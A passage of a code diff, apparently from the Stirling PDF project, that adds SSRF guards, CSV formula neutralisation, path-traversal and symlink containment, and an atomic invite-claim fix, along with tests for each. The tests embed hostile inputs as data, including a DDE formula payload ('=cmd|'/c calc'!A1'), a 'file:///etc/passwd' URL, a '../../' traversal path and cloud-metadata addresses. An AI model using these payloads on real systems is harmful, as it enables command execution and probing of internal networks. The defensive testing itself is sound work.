assertPassesThrough("memo.rtf", "{\\rtf1\\ansi hello}");
Mockito.verifyNoInteractions(customHtmlSanitizer);
Mockito.verifyNoInteractions(svgSanitizer);
Mockito.verify(officeDocumentSanitizer, Mockito.never())
.sanitize(any(byte[].class), anyString());
Mockito.verify(officeDocumentSanitizer, Mockito.never())
.sanitizeZipContainer(any(byte[].class));
Mockito.verify(officeDocumentSanitizer, Mockito.never())
.sanitizeFlatXml(any(byte[].class));
}
private void assertPassesThrough(String filename, String content) throws Exception {
byte[] written = convertCapturingInput(file(filename, content));
assertThat(written).isEqualTo(content.getBytes(StandardCharsets.UTF_8));
}
}
private static MockMultipartFile file(String filename, String content) {
return new MockMultipartFile(
"fileInput",
filename,
"application/octet-stream",
content.getBytes(StandardCharsets.UTF_8));
}
private static byte[] minimalOoxmlZip() throws IOException {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
try (ZipOutputStream zos = new ZipOutputStream(baos)) {
zos.putNextEntry(new ZipEntry("[Content_Types].xml"));
zos.write("<Types/>".getBytes(StandardCharsets.UTF_8));
zos.closeEntry();
}
return baos.toByteArray();
}
/** Runs a conversion and returns the exact bytes LibreOffice was handed. */
private byte[] convertCapturingInput(MockMultipartFile inputFile) throws Exception {
when(endpointConfiguration.isGroupEnabled("Unoconvert")).thenReturn(false);
when(endpointConfiguration.isGroupEnabled("Python")).thenReturn(false);
byte[][] captured = new byte[1][];
try (MockedStatic<ProcessExecutor> pe = Mockito.mockStatic(ProcessExecutor.class)) {
ProcessExecutorResult result = mockExecutor(pe, 0);
ProcessExecutor executor = ProcessExecutor.getInstance(Processes.LIBRE_OFFICE);
when(executor.runCommandWithOutputHandling(any(List.class)))
.thenAnswer(
inv -> {
List<String> command = inv.getArgument(0);
Path inputPath = Path.of(command.get(command.size() - 1));
captured[0] = Files.readAllBytes(inputPath);
String name = inputPath.getFileName().toString();
Path out =
inputPath
.getParent()
.resolve(
name.substring(0, name.lastIndexOf('.'))
+ ".pdf");
Files.writeString(out, "%PDF sniffed");
return result;
});
File pdf = controller.convertToPdf(inputFile);
deleteWorkdir(pdf);
}
return captured[0];
}
private static void deleteWorkdir(File producedPdf) throws IOException {
if (producedPdf != null && producedPdf.getParentFile() != null) {
org.apache.commons.io.FileUtils.deleteDirectory(producedPdf.getParentFile());
@@ -1,6 +1,8 @@
package stirling.software.SPDF.controller.api.converters;
import static org.assertj.core.api.Assertions.assertThat;
import static org.mockito.ArgumentMatchers.anyString;
import static org.mockito.Mockito.when;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
@@ -18,6 +20,7 @@ import org.mockito.quality.Strictness;
import stirling.software.common.configuration.RuntimePathConfig;
import stirling.software.common.model.ApplicationProperties;
import stirling.software.common.service.CustomPDFDocumentFactory;
import stirling.software.common.service.SsrfProtectionService;
import stirling.software.common.util.TempFileManager;
/**
@@ -33,6 +36,7 @@ class ConvertWebsiteToPDFExtraTest {
@Mock private CustomPDFDocumentFactory pdfDocumentFactory;
@Mock private RuntimePathConfig runtimePathConfig;
@Mock private TempFileManager tempFileManager;
@Mock private SsrfProtectionService ssrfProtectionService;
private ConvertWebsiteToPDF sut;
@@ -43,7 +47,8 @@ class ConvertWebsiteToPDFExtraTest {
pdfDocumentFactory,
runtimePathConfig,
new ApplicationProperties(),
tempFileManager);
tempFileManager,
ssrfProtectionService);
}
private boolean containsDisallowed(String html) throws Exception {
@@ -54,6 +59,14 @@ class ConvertWebsiteToPDFExtraTest {
return (boolean) m.invoke(sut, html);
}
private boolean containsBlockedResource(String html) throws Exception {
Method m =
ConvertWebsiteToPDF.class.getDeclaredMethod(
"containsBlockedResourceReference", String.class, String.class);
m.setAccessible(true);
return (boolean) m.invoke(sut, html, "https://example.com/page.html");
}
private String percentDecode(String content) throws Exception {
Method m = ConvertWebsiteToPDF.class.getDeclaredMethod("percentDecode", String.class);
m.setAccessible(true);
@@ -129,6 +142,118 @@ class ConvertWebsiteToPDFExtraTest {
}
}
@Nested
@DisplayName("containsBlockedResourceReference")
class BlockedResourceReference {
@Test
@DisplayName("null and empty content are allowed")
void nullAndEmpty() throws Exception {
assertThat(containsBlockedResource(null)).isFalse();
assertThat(containsBlockedResource("")).isFalse();
}
@Test
@DisplayName("a relative image on an allowed host passes")
void relativeImageAllowed() throws Exception {
when(ssrfProtectionService.isUrlAllowed(anyString())).thenReturn(true);
assertThat(containsBlockedResource("<img src=\"/assets/logo.png\">")).isFalse();
}
@Test
@DisplayName("a relative image is resolved against the page base url before checking")
void relativeImageResolvedAgainstBase() throws Exception {
when(ssrfProtectionService.isUrlAllowed("https://example.com/assets/logo.png"))
.thenReturn(false);
assertThat(containsBlockedResource("<img src=\"assets/logo.png\">")).isTrue();
}
@Test
@DisplayName("an absolute resource rejected by the SSRF service blocks the conversion")
void blockedAbsoluteResource() throws Exception {
when(ssrfProtectionService.isUrlAllowed(anyString())).thenReturn(false);
assertThat(containsBlockedResource("<img src=\"http://169.254.169.254/latest/\">"))
.isTrue();
}
@Test
@DisplayName("a stylesheet link is checked as well as images")
void stylesheetLinkChecked() throws Exception {
when(ssrfProtectionService.isUrlAllowed(anyString())).thenReturn(false);
assertThat(
containsBlockedResource(
"<link rel=\"stylesheet\" href=\"http://127.0.0.1/a.css\">"))
.isTrue();
}
@Test
@DisplayName("a css url() reference is checked")
void cssUrlChecked() throws Exception {
when(ssrfProtectionService.isUrlAllowed(anyString())).thenReturn(false);
assertThat(containsBlockedResource("<style>body{background:url('http://10.0.0.1/x')}"))
.isTrue();
}
@Test
@DisplayName("a bare @import is checked")
void cssImportChecked() throws Exception {
when(ssrfProtectionService.isUrlAllowed(anyString())).thenReturn(false);
assertThat(containsBlockedResource("<style>@import \"http://10.0.0.1/x.css\";</style>"))
.isTrue();
}
@Test
@DisplayName(
"a non-http scheme is rejected by the allowlist without consulting the service")
void nonHttpSchemeRejected() throws Exception {
assertThat(containsBlockedResource("<img src=\"ftp://files.example.com/x.png\">"))
.isTrue();
}
@Test
@DisplayName("an entity-obfuscated scheme is decoded before the allowlist check")
void obfuscatedSchemeRejected() throws Exception {
assertThat(containsBlockedResource("<img src=\"gopher&colon;&sol;&sol;x/\">")).isTrue();
}
@Test
@DisplayName("data uris and fragments are allowed")
void dataUriAndFragmentAllowed() throws Exception {
when(ssrfProtectionService.isUrlAllowed(anyString())).thenReturn(true);
assertThat(
containsBlockedResource(
"<img src=\"data:image/png;base64,AAAA\">"
+ "<rect fill=\"url(#grad)\"/>"))
.isFalse();
}
@Test
@DisplayName("srcset descriptors are stripped before checking")
void srcsetDescriptorsStripped() throws Exception {
// only the bare url is stubbed, so a retained '1x' descriptor would fail the check
when(ssrfProtectionService.isUrlAllowed("https://example.com/a.png")).thenReturn(true);
assertThat(containsBlockedResource("<img srcset=\"/a.png 1x\">")).isFalse();
}
@Test
@DisplayName("each distinct host is checked once")
void distinctHostsChecked() throws Exception {
when(ssrfProtectionService.isUrlAllowed(anyString())).thenReturn(true);
when(ssrfProtectionService.isUrlAllowed("http://10.0.0.1/b.png")).thenReturn(false);
assertThat(
containsBlockedResource(
"<img src=\"/a.png\"><img src=\"http://10.0.0.1/b.png\">"))
.isTrue();
}
@Test
@DisplayName("anchor hrefs are not treated as fetched resources")
void anchorHrefIgnored() throws Exception {
assertThat(containsBlockedResource("<a href=\"mailto:someone@example.com\">mail</a>"))
.isFalse();
}
}
@Nested
@DisplayName("percentDecode")
class PercentDecode {
@@ -42,6 +42,7 @@ import stirling.software.SPDF.model.api.converters.UrlToPdfRequest;
import stirling.software.common.configuration.RuntimePathConfig;
import stirling.software.common.model.ApplicationProperties;
import stirling.software.common.service.CustomPDFDocumentFactory;
import stirling.software.common.service.SsrfProtectionService;
import stirling.software.common.util.GeneralUtils;
import stirling.software.common.util.ProcessExecutor;
import stirling.software.common.util.ProcessExecutor.ProcessExecutorResult;
@@ -95,13 +96,14 @@ public class ConvertWebsiteToPdfTest {
when(runtimePathConfig.getWeasyPrintPath()).thenReturn("/usr/bin/weasyprint");
when(pdfDocumentFactory.load(any(File.class))).thenReturn(new PDDocument());
// Build SUT
// Build SUT with the real SSRF service so the shipped defaults are exercised
sut =
new ConvertWebsiteToPDF(
pdfDocumentFactory,
runtimePathConfig,
applicationProperties,
tempFileManager);
tempFileManager,
new SsrfProtectionService(applicationProperties));
// Provide RequestContext for ServletUriComponentsBuilder
MockHttpServletRequest req = new MockHttpServletRequest();
@@ -352,4 +354,79 @@ public class ConvertWebsiteToPdfTest {
&& location.getQuery().contains("error=error.disallowedUrlContent"));
}
}
private void assertRejectedForContent(String html) throws Exception {
UrlToPdfRequest request = new UrlToPdfRequest();
request.setUrlInput("https://example.com");
try (MockedStatic<GeneralUtils> gu = Mockito.mockStatic(GeneralUtils.class);
MockedStatic<HttpClient> httpClient = mockHttpClientReturning(html)) {
gu.when(() -> GeneralUtils.isValidURL("https://example.com")).thenReturn(true);
gu.when(() -> GeneralUtils.isURLReachable("https://example.com")).thenReturn(true);
ResponseEntity<?> resp = sut.urlToPdf(request);
assertEquals(HttpStatus.SEE_OTHER, resp.getStatusCode());
URI location = resp.getHeaders().getLocation();
assertNotNull(location, "Location header expected");
assertTrue(
location.getQuery() != null
&& location.getQuery().contains("error=error.disallowedUrlContent"));
}
}
@Test
void redirect_with_error_when_resource_targets_loopback() throws Exception {
assertRejectedForContent("<img src=\"http://127.0.0.1:9000/secret.png\">");
}
@Test
void redirect_with_error_when_stylesheet_targets_cloud_metadata() throws Exception {
assertRejectedForContent(
"<link rel=\"stylesheet\" href=\"http://169.254.169.254/latest/meta-data/\">");
}
@Test
void redirect_with_error_when_css_url_targets_private_network() throws Exception {
assertRejectedForContent("<style>body{background:url('http://10.1.2.3/x.png')}</style>");
}
@Test
void redirect_with_error_when_resource_uses_non_http_scheme() throws Exception {
assertRejectedForContent("<img src=\"ftp://files.example.com/x.png\">");
}
@Test
void data_uri_and_same_host_resources_are_still_converted() throws Exception {
// public IP literal as base keeps the SSRF check DNS-free
String url = "https://93.184.215.14/page.html";
UrlToPdfRequest request = new UrlToPdfRequest();
request.setUrlInput(url);
String html =
"<img src=\"data:image/png;base64,AAAA\"><img src=\"/logo.png\">"
+ "<rect fill=\"url(#grad)\"/>";
try (MockedStatic<ProcessExecutor> pe = Mockito.mockStatic(ProcessExecutor.class);
MockedStatic<GeneralUtils> gu = Mockito.mockStatic(GeneralUtils.class);
MockedStatic<HttpClient> httpClient = mockHttpClientReturning(html)) {
gu.when(() -> GeneralUtils.isValidURL(url)).thenReturn(true);
gu.when(() -> GeneralUtils.isURLReachable(url)).thenReturn(true);
gu.when(() -> GeneralUtils.convertToFileName(anyString())).thenReturn("page");
gu.when(() -> GeneralUtils.generateFilename(anyString(), anyString()))
.thenAnswer(inv -> inv.<String>getArgument(0) + inv.<String>getArgument(1));
ProcessExecutor mockExec = Mockito.mock(ProcessExecutor.class);
pe.when(() -> ProcessExecutor.getInstance(Processes.WEASYPRINT)).thenReturn(mockExec);
ProcessExecutorResult dummyResult = Mockito.mock(ProcessExecutorResult.class);
when(mockExec.runCommandWithOutputHandling(Mockito.<List>any()))
.thenReturn(dummyResult);
ResponseEntity<?> resp = sut.urlToPdf(request);
assertEquals(HttpStatus.OK, resp.getStatusCode());
}
}
}
@@ -211,4 +211,28 @@ class ExtractCSVControllerMoreTest {
assertThat(body).contains("\"x\"").contains("\"y\"");
assertThat(body.getBytes(StandardCharsets.UTF_8)).isNotEmpty();
}
@Test
@DisplayName("formula cells are neutralised while numeric cells survive intact")
void csvBodyNeutralisesFormulas() throws Exception {
PDFWithPageNums request = new PDFWithPageNums();
request.setFileInput(pdf("inject.pdf"));
request.setPageNumbers("all");
when(pdfDocumentFactory.load(request)).thenReturn(docWithPages(1));
when(tabulaTableParser.parse(any(PDDocument.class), eq(1)))
.thenReturn(
List.of(
fragment(
List.of(
List.of("=cmd|'/c calc'!A1", "@SUM(A1)"),
List.of("-12.50", "-1,234.00")))));
ResponseEntity<?> response = controller.pdfToCsv(request);
String body = response.getBody().toString();
assertThat(body).contains("\"'=cmd|'/c calc'!A1\"").contains("\"'@SUM(A1)\"");
assertThat(body).contains("\"-12.50\"").contains("\"-1,234.00\"");
assertThat(body).doesNotContain("\"'-12.50\"");
}
}
@@ -9,11 +9,16 @@ import java.io.ByteArrayOutputStream;
import java.io.File;
import java.io.IOException;
import java.nio.file.Files;
import java.util.List;
import org.apache.pdfbox.cos.COSName;
import org.apache.pdfbox.pdmodel.PDDocument;
import org.apache.pdfbox.pdmodel.PDPage;
import org.apache.pdfbox.pdmodel.PDResources;
import org.apache.pdfbox.pdmodel.common.PDRectangle;
import org.apache.pdfbox.pdmodel.interactive.annotation.PDAnnotationWidget;
import org.apache.pdfbox.pdmodel.interactive.form.PDAcroForm;
import org.apache.pdfbox.pdmodel.interactive.form.PDTextField;
import org.junit.jupiter.api.BeforeEach;
import org.junit.jupiter.api.DisplayName;
import org.junit.jupiter.api.Nested;
@@ -182,6 +187,20 @@ class FormFillControllerTest {
assertThat(csv).contains("Field Name");
}
@Test
@DisplayName("neutralises formula values but leaves numeric values alone")
void formulaValuesAreNeutralised() throws Exception {
MockMultipartFile file = pdfFile();
PDDocument doc = createPdfWithTextFields();
when(pdfDocumentFactory.load(eq(file), eq(true))).thenReturn(doc);
ResponseEntity<byte[]> response = controller.extractCsv(file, null);
String csv = new String(response.getBody());
assertThat(csv).contains("'=cmd|'/c calc'!A1");
assertThat(csv).contains("-1,234.00").doesNotContain("'-1,234.00");
}
@Test
@DisplayName("throws for null file")
void nullFile() {
@@ -190,6 +209,39 @@ class FormFillControllerTest {
}
}
private PDDocument createPdfWithTextFields() throws IOException {
PDDocument doc = new PDDocument();
PDPage page = new PDPage(PDRectangle.A4);
doc.addPage(page);
PDAcroForm acroForm = new PDAcroForm(doc);
acroForm.setDefaultResources(new PDResources());
acroForm.setNeedAppearances(true);
doc.getDocumentCatalog().setAcroForm(acroForm);
addTextField(
acroForm, page, "payload", "=cmd|'/c calc'!A1", new PDRectangle(50, 700, 200, 20));
addTextField(acroForm, page, "balance", "-1,234.00", new PDRectangle(50, 660, 200, 20));
return doc;
}
private static void addTextField(
PDAcroForm acroForm, PDPage page, String name, String value, PDRectangle rectangle)
throws IOException {
PDTextField field = new PDTextField(acroForm);
field.setPartialName(name);
PDAnnotationWidget widget = new PDAnnotationWidget();
widget.setRectangle(rectangle);
widget.setPage(page);
field.setWidgets(List.of(widget));
acroForm.getFields().add(field);
page.getAnnotations().add(widget);
// Set /V directly; setValue would need a default appearance we do not care about here
field.getCOSObject().setString(COSName.V, value);
}
// ── extractXlsx ────────────────────────────────────────────────────
@Nested
@@ -0,0 +1,205 @@
package stirling.software.SPDF.controller.api.pipeline;
import static org.junit.jupiter.api.Assertions.assertEquals;
import static org.junit.jupiter.api.Assertions.assertFalse;
import static org.junit.jupiter.api.Assertions.assertTrue;
import static org.junit.jupiter.api.Assumptions.assumeTrue;
import static org.mockito.Mockito.when;
import java.io.IOException;
import java.nio.file.Files;
import java.nio.file.Path;
import java.util.List;
import org.junit.jupiter.api.BeforeEach;
import org.junit.jupiter.api.DisplayName;
import org.junit.jupiter.api.Nested;
import org.junit.jupiter.api.Test;
import org.junit.jupiter.api.extension.ExtendWith;
import org.junit.jupiter.api.io.TempDir;
import org.mockito.Mock;
import org.mockito.junit.jupiter.MockitoExtension;
import org.mockito.junit.jupiter.MockitoSettings;
import org.mockito.quality.Strictness;
import stirling.software.SPDF.model.PipelineConfig;
import stirling.software.SPDF.service.ApiDocService;
import stirling.software.common.configuration.RuntimePathConfig;
import stirling.software.common.service.PostHogService;
import stirling.software.common.service.ToolMetadataService;
import stirling.software.common.util.FileReadinessChecker;
import tools.jackson.databind.ObjectMapper;
/**
* Unit tests for the path containment rules in {@link PipelineDirectoryProcessor}: relative output
* directories must stay under the finished folders base, and files collected from a watched folder
* must not resolve outside it via symlinks.
*/
@ExtendWith(MockitoExtension.class)
@MockitoSettings(strictness = Strictness.LENIENT)
class PipelineDirectoryProcessorTest {
@Mock private ApiDocService apiDocService;
@Mock private ToolMetadataService toolMetadataService;
@Mock private PipelineProcessor processor;
@Mock private PostHogService postHogService;
@Mock private FileReadinessChecker fileReadinessChecker;
@Mock private RuntimePathConfig runtimePathConfig;
@TempDir Path tempDir;
private Path watchedRoot;
private Path finishedFolders;
private PipelineDirectoryProcessor directoryProcessor;
@BeforeEach
void setUp() throws IOException {
watchedRoot = Files.createDirectories(tempDir.resolve("watched"));
finishedFolders = Files.createDirectories(tempDir.resolve("finished"));
when(runtimePathConfig.getPipelineWatchedFoldersPaths())
.thenReturn(List.of(watchedRoot.toString()));
when(runtimePathConfig.getPipelineFinishedFoldersPath())
.thenReturn(finishedFolders.toString());
directoryProcessor =
new PipelineDirectoryProcessor(
new ObjectMapper(),
apiDocService,
toolMetadataService,
processor,
postHogService,
fileReadinessChecker,
runtimePathConfig);
}
private PipelineConfig configWithOutputDir(String outputDir) {
PipelineConfig config = new PipelineConfig();
config.setOutputDir(outputDir);
return config;
}
/** Symlink creation needs elevated rights on Windows; skip rather than fail there. */
private Path linkOrSkip(Path link, Path target) {
try {
return Files.createSymbolicLink(link, target);
} catch (IOException | UnsupportedOperationException e) {
assumeTrue(false, "Symlinks unsupported in this environment: " + e.getMessage());
return null;
}
}
@Nested
@DisplayName("determineOutputPath")
class DetermineOutputPath {
@Test
@DisplayName("keeps an explicitly configured absolute path untouched")
void absolutePathIsUnchanged() {
Path absolute = tempDir.resolve("elsewhere");
PipelineConfig config = configWithOutputDir(absolute.toString());
assertEquals(
absolute,
directoryProcessor.determineOutputPath(config, watchedRoot.resolve("job")));
}
@Test
@DisplayName("expands {outputFolder} to the finished folders base")
void outputFolderPlaceholderResolvesToBase() {
PipelineConfig config = configWithOutputDir("{outputFolder}");
assertEquals(
finishedFolders,
directoryProcessor.determineOutputPath(config, watchedRoot.resolve("job")));
}
@Test
@DisplayName("anchors a relative path under the finished folders base")
void relativePathIsAnchoredUnderBase() {
PipelineConfig config = configWithOutputDir("reports");
assertEquals(
finishedFolders.resolve("reports"),
directoryProcessor.determineOutputPath(config, watchedRoot.resolve("job")));
}
@Test
@DisplayName("falls back to the base when a relative path traverses out of it")
void traversalFallsBackToBase() {
PipelineConfig config = configWithOutputDir("../../tmp/evil");
assertEquals(
finishedFolders,
directoryProcessor.determineOutputPath(config, watchedRoot.resolve("job")));
}
@Test
@DisplayName("allows a relative path that dips out and back inside the base")
void relativePathStayingInsideBaseIsKept() {
PipelineConfig config = configWithOutputDir("nested/../reports");
assertEquals(
finishedFolders.resolve("reports"),
directoryProcessor.determineOutputPath(config, watchedRoot.resolve("job")));
}
}
@Nested
@DisplayName("isInsideWatchedRoot")
class IsInsideWatchedRoot {
@Test
@DisplayName("accepts a plain file inside the watched folder")
void acceptsPlainFile() throws IOException {
Path dir = Files.createDirectories(watchedRoot.resolve("job"));
Path file = Files.createFile(dir.resolve("input.pdf"));
assertTrue(directoryProcessor.isInsideWatchedRoot(file, dir, watchedRoot));
}
@Test
@DisplayName("accepts a symlink whose target is still inside the watched root")
void acceptsSymlinkInsideWatchedRoot() throws IOException {
Path dir = Files.createDirectories(watchedRoot.resolve("job"));
Path target = Files.createFile(watchedRoot.resolve("shared.pdf"));
Path link = linkOrSkip(dir.resolve("input.pdf"), target);
assertTrue(directoryProcessor.isInsideWatchedRoot(link, dir, watchedRoot));
}
@Test
@DisplayName("accepts files under a watched subfolder symlinked to a mounted share")
void acceptsFilesUnderSymlinkedSubfolder() throws IOException {
Path share = Files.createDirectories(tempDir.resolve("mounted-share"));
Path file = Files.createFile(share.resolve("input.pdf"));
Path dir = linkOrSkip(watchedRoot.resolve("job"), share);
Path viaLink = dir.resolve(file.getFileName());
assertTrue(directoryProcessor.isInsideWatchedRoot(viaLink, dir, watchedRoot));
}
@Test
@DisplayName("rejects a symlink pointing outside the watched root")
void rejectsEscapingSymlink() throws IOException {
Path dir = Files.createDirectories(watchedRoot.resolve("job"));
Path secret = Files.createFile(tempDir.resolve("secret.pdf"));
Path link = linkOrSkip(dir.resolve("input.pdf"), secret);
assertFalse(directoryProcessor.isInsideWatchedRoot(link, dir, watchedRoot));
}
@Test
@DisplayName("rejects a broken symlink without throwing")
void rejectsBrokenSymlink() throws IOException {
Path dir = Files.createDirectories(watchedRoot.resolve("job"));
Path link = linkOrSkip(dir.resolve("input.pdf"), tempDir.resolve("missing.pdf"));
assertFalse(directoryProcessor.isInsideWatchedRoot(link, dir, watchedRoot));
}
}
}
@@ -36,6 +36,7 @@ import org.bouncycastle.operator.jcajce.JcaContentSignerBuilder;
import org.bouncycastle.operator.jcajce.JcaDigestCalculatorProviderBuilder;
import org.bouncycastle.util.CollectionStore;
import org.bouncycastle.util.Store;
import org.junit.jupiter.api.AfterEach;
import org.junit.jupiter.api.BeforeAll;
import org.junit.jupiter.api.BeforeEach;
import org.junit.jupiter.api.DisplayName;
@@ -46,11 +47,14 @@ import org.springframework.core.io.ClassPathResource;
import stirling.software.common.model.ApplicationProperties;
import stirling.software.common.service.ServerCertificateServiceInterface;
import okhttp3.mockwebserver.MockResponse;
import okhttp3.mockwebserver.MockWebServer;
/**
* Additional coverage for {@link CertificateValidationService} that drives the real X.509 /
* KeyStore machinery with the bundled test fixtures, exercises trust-store initialization, and
* reaches the private trust-list parsers via reflection. Network paths are only hit with file://
* URLs so no real connection is ever opened.
* reaches the private trust-list parsers via reflection. The only connections opened are to a
* loopback {@link MockWebServer}; no real network access occurs.
*/
@DisplayName("CertificateValidationService (more) Tests")
class CertificateValidationServiceMoreTest {
@@ -430,7 +434,7 @@ class CertificateValidationServiceMoreTest {
ApplicationProperties props = defaultProps();
props.getSecurity().getValidation().getTrust().setUseAATL(true);
props.getSecurity().getValidation().getTrust().setUseEUTL(true);
// file:// is not an HttpURLConnection, so the download helpers return null safely.
// file:// fails the trust-list URL guard, so no connection is ever opened.
props.getSecurity().getValidation().getAatl().setUrl("file:///does-not-exist.pdf");
props.getSecurity().getValidation().getEutl().setLotlUrl("file:///does-not-exist.xml");
CertificateValidationService svc = newService(props);
@@ -664,6 +668,149 @@ class CertificateValidationServiceMoreTest {
}
}
// ---------- SSRF guard on trust-list downloads ----------
@Nested
@DisplayName("Trust-list download SSRF guard")
class TrustListSsrfGuardTests {
private final CertificateValidationService svc = newService(defaultProps());
private boolean allowed(String url) throws Exception {
return invokePrivate(svc, "isTrustListUrlAllowed", new Class<?>[] {String.class}, url);
}
@Test
@DisplayName("Public http(s) hosts are still fetched")
void allowsPublicHosts() throws Exception {
assertThat(allowed("https://93.184.216.34/tsl.xml")).isTrue();
assertThat(allowed("http://93.184.216.34:8080/tsl.xml")).isTrue();
// Scheme comparison is case-insensitive
assertThat(allowed("HTTPS://93.184.216.34/tsl.xml")).isTrue();
}
@Test
@DisplayName("Only http and https are fetched")
void rejectsOtherSchemes() throws Exception {
assertThat(allowed("file:///etc/passwd")).isFalse();
assertThat(allowed("ftp://93.184.216.34/tsl.xml")).isFalse();
assertThat(allowed("jar:file:///tmp/x.jar!/tsl.xml")).isFalse();
assertThat(allowed("/tsl.xml")).isFalse();
}
@Test
@DisplayName("URLs without a usable host are rejected")
void rejectsMissingHost() throws Exception {
assertThat(allowed("http:///tsl.xml")).isFalse();
assertThat(allowed("http://exa mple.test/tsl.xml")).isFalse();
}
@Test
@DisplayName("Internal IPv4 destinations are rejected")
void rejectsInternalIpv4() throws Exception {
for (String host :
new String[] {
"127.0.0.1",
"0.0.0.0",
"10.0.0.1",
"172.16.0.1",
"192.168.1.1",
"100.64.0.1",
"169.254.1.1"
}) {
assertThat(allowed("http://" + host + "/tsl.xml")).as(host).isFalse();
}
}
@Test
@DisplayName("Cloud metadata endpoints are rejected")
void rejectsCloudMetadata() throws Exception {
assertThat(allowed("http://169.254.169.254/latest/meta-data/")).isFalse();
assertThat(allowed("http://169.254.169.253/tsl.xml")).isFalse();
assertThat(allowed("http://169.254.169.250/tsl.xml")).isFalse();
}
@Test
@DisplayName("Internal IPv6 destinations, including transition forms, are rejected")
void rejectsInternalIpv6() throws Exception {
for (String host :
new String[] {
"[::1]", "[fe80::1]", "[fd00::1]", "[::ffff:127.0.0.1]", "[2002:a00:1::]"
}) {
assertThat(allowed("http://" + host + "/tsl.xml")).as(host).isFalse();
}
}
}
// ---------- redirect handling on trust-list downloads ----------
@Nested
@DisplayName("Trust-list download redirects")
class TrustListRedirectTests {
private MockWebServer server;
private CertificateValidationService svc;
@BeforeEach
void startServer() throws Exception {
server = new MockWebServer();
server.start();
// MockWebServer binds to loopback, so only the loopback rules are relaxed here
ApplicationProperties props = defaultProps();
var urlSecurity = props.getSystem().getHtml().getUrlSecurity();
urlSecurity.setBlockLocalhost(false);
urlSecurity.setBlockPrivateNetworks(false);
svc = newService(props);
}
@AfterEach
void stopServer() throws Exception {
server.shutdown();
}
private byte[] downloadXml(String url) throws Exception {
return invokePrivate(svc, "downloadXml", new Class<?>[] {String.class}, url);
}
@Test
@DisplayName("A redirect to an allowed target is followed")
void followsAllowedRedirect() throws Exception {
server.enqueue(new MockResponse().setResponseCode(302).setHeader("Location", "/final"));
server.enqueue(new MockResponse().setResponseCode(200).setBody("<TSL/>"));
byte[] body = downloadXml(server.url("/tsl.xml").toString());
assertThat(body).isNotNull();
assertThat(new String(body, StandardCharsets.UTF_8)).isEqualTo("<TSL/>");
assertThat(server.getRequestCount()).isEqualTo(2);
}
@Test
@DisplayName("A redirect to a blocked target is not followed")
void rejectsRedirectToBlockedTarget() throws Exception {
server.enqueue(
new MockResponse()
.setResponseCode(302)
.setHeader("Location", "http://169.254.169.254/latest/meta-data/"));
assertThat(downloadXml(server.url("/tsl.xml").toString())).isNull();
assertThat(server.getRequestCount()).isEqualTo(1);
}
@Test
@DisplayName("Redirect chains stop after the hop budget")
void stopsAfterRedirectBudget() throws Exception {
for (int i = 0; i < 6; i++) {
server.enqueue(
new MockResponse().setResponseCode(302).setHeader("Location", "/next"));
}
assertThat(downloadXml(server.url("/tsl.xml").toString())).isNull();
// The initial request plus three redirects
assertThat(server.getRequestCount()).isEqualTo(4);
}
}
// ---------- extractValidationTime with real CMS ----------
@Nested
@@ -36,6 +36,7 @@ import io.swagger.v3.oas.annotations.tags.Tag;
import lombok.RequiredArgsConstructor;
import lombok.extern.slf4j.Slf4j;
import stirling.software.common.util.CsvUtils;
import stirling.software.proprietary.audit.AuditEventType;
import stirling.software.proprietary.model.api.audit.AuditDataRequest;
import stirling.software.proprietary.model.api.audit.AuditDataResponse;
@@ -348,8 +349,9 @@ public class AuditDashboardController {
if (field == null) {
return "";
}
// Replace double quotes with two double quotes and wrap in quotes
return "\"" + field.replace("\"", "\"\"") + "\"";
// Neutralise formulas first, then replace double quotes with two and wrap in quotes
String safe = CsvUtils.neutraliseFormula(field);
return "\"" + safe.replace("\"", "\"\"") + "\"";
}
private List<PersistentAuditEvent> getAuditEventsByCriteria(AuditExportRequest request) {
@@ -26,6 +26,7 @@ import lombok.RequiredArgsConstructor;
import lombok.extern.slf4j.Slf4j;
import stirling.software.common.annotations.api.ProprietaryUiDataApi;
import stirling.software.common.util.CsvUtils;
import stirling.software.proprietary.audit.AuditEventType;
import stirling.software.proprietary.model.security.PersistentAuditEvent;
import stirling.software.proprietary.repository.PersistentAuditEventRepository;
@@ -802,8 +803,9 @@ public class AuditRestController {
if (field == null) {
return "";
}
// Replace double quotes with two double quotes and wrap in quotes
return "\"" + field.replace("\"", "\"\"") + "\"";
// Neutralise formulas first, then replace double quotes with two and wrap in quotes
String safe = CsvUtils.neutraliseFormula(field);
return "\"" + safe.replace("\"", "\"\"") + "\"";
}
// DTOs for response formatting
@@ -7,6 +7,9 @@ import java.util.*;
import org.springframework.http.HttpStatus;
import org.springframework.http.ResponseEntity;
import org.springframework.security.access.prepost.PreAuthorize;
import org.springframework.transaction.annotation.Transactional;
import org.springframework.transaction.interceptor.TransactionAspectSupport;
import org.springframework.transaction.support.TransactionSynchronizationManager;
import org.springframework.web.bind.annotation.*;
import jakarta.servlet.http.HttpServletRequest;
@@ -399,6 +402,7 @@ public class InviteLinkController {
* @param password The password to set for the new account
* @return Success or error response
*/
@Transactional
@PostMapping("/accept/{token}")
public ResponseEntity<?> acceptInvite(
@PathVariable String token,
@@ -419,14 +423,6 @@ public class InviteLinkController {
InviteToken invite = inviteOpt.get();
if (invite.isUsed()) {
return invalidInviteResponse();
}
if (invite.isExpired()) {
return invalidInviteResponse();
}
// Determine the email to use
String effectiveEmail = invite.getEmail();
if (effectiveEmail == null) {
@@ -450,6 +446,12 @@ public class InviteLinkController {
return invalidInviteResponse();
}
// Claim the invite atomically before creating the account, so two concurrent
// redemptions of the same link cannot both succeed (GHSA-rmrr-v9p4-qqvc)
if (inviteTokenRepository.consumeIfUnused(token, LocalDateTime.now()) != 1) {
return invalidInviteResponse();
}
// Create the user account
SaveUserRequest.Builder builder =
SaveUserRequest.builder()
@@ -459,11 +461,6 @@ public class InviteLinkController {
.role(invite.getRole());
userService.saveUserCore(builder.build());
// Mark invite as used
invite.setUsed(true);
invite.setUsedAt(LocalDateTime.now());
inviteTokenRepository.save(invite);
log.info(
"User account created via invite link: {} with role: {}",
effectiveEmail,
@@ -473,6 +470,10 @@ public class InviteLinkController {
Map.of("message", "Account created successfully", "username", effectiveEmail));
} catch (Exception e) {
// Undo the claim so a failed account creation does not burn the invite
if (TransactionSynchronizationManager.isActualTransactionActive()) {
TransactionAspectSupport.currentTransactionStatus().setRollbackOnly();
}
log.error("Failed to accept invite: {}", e.getMessage(), e);
return ResponseEntity.status(HttpStatus.INTERNAL_SERVER_ERROR)
.body(Map.of("error", "Failed to create account"));
@@ -3,10 +3,8 @@ package stirling.software.proprietary.security.oauth2;
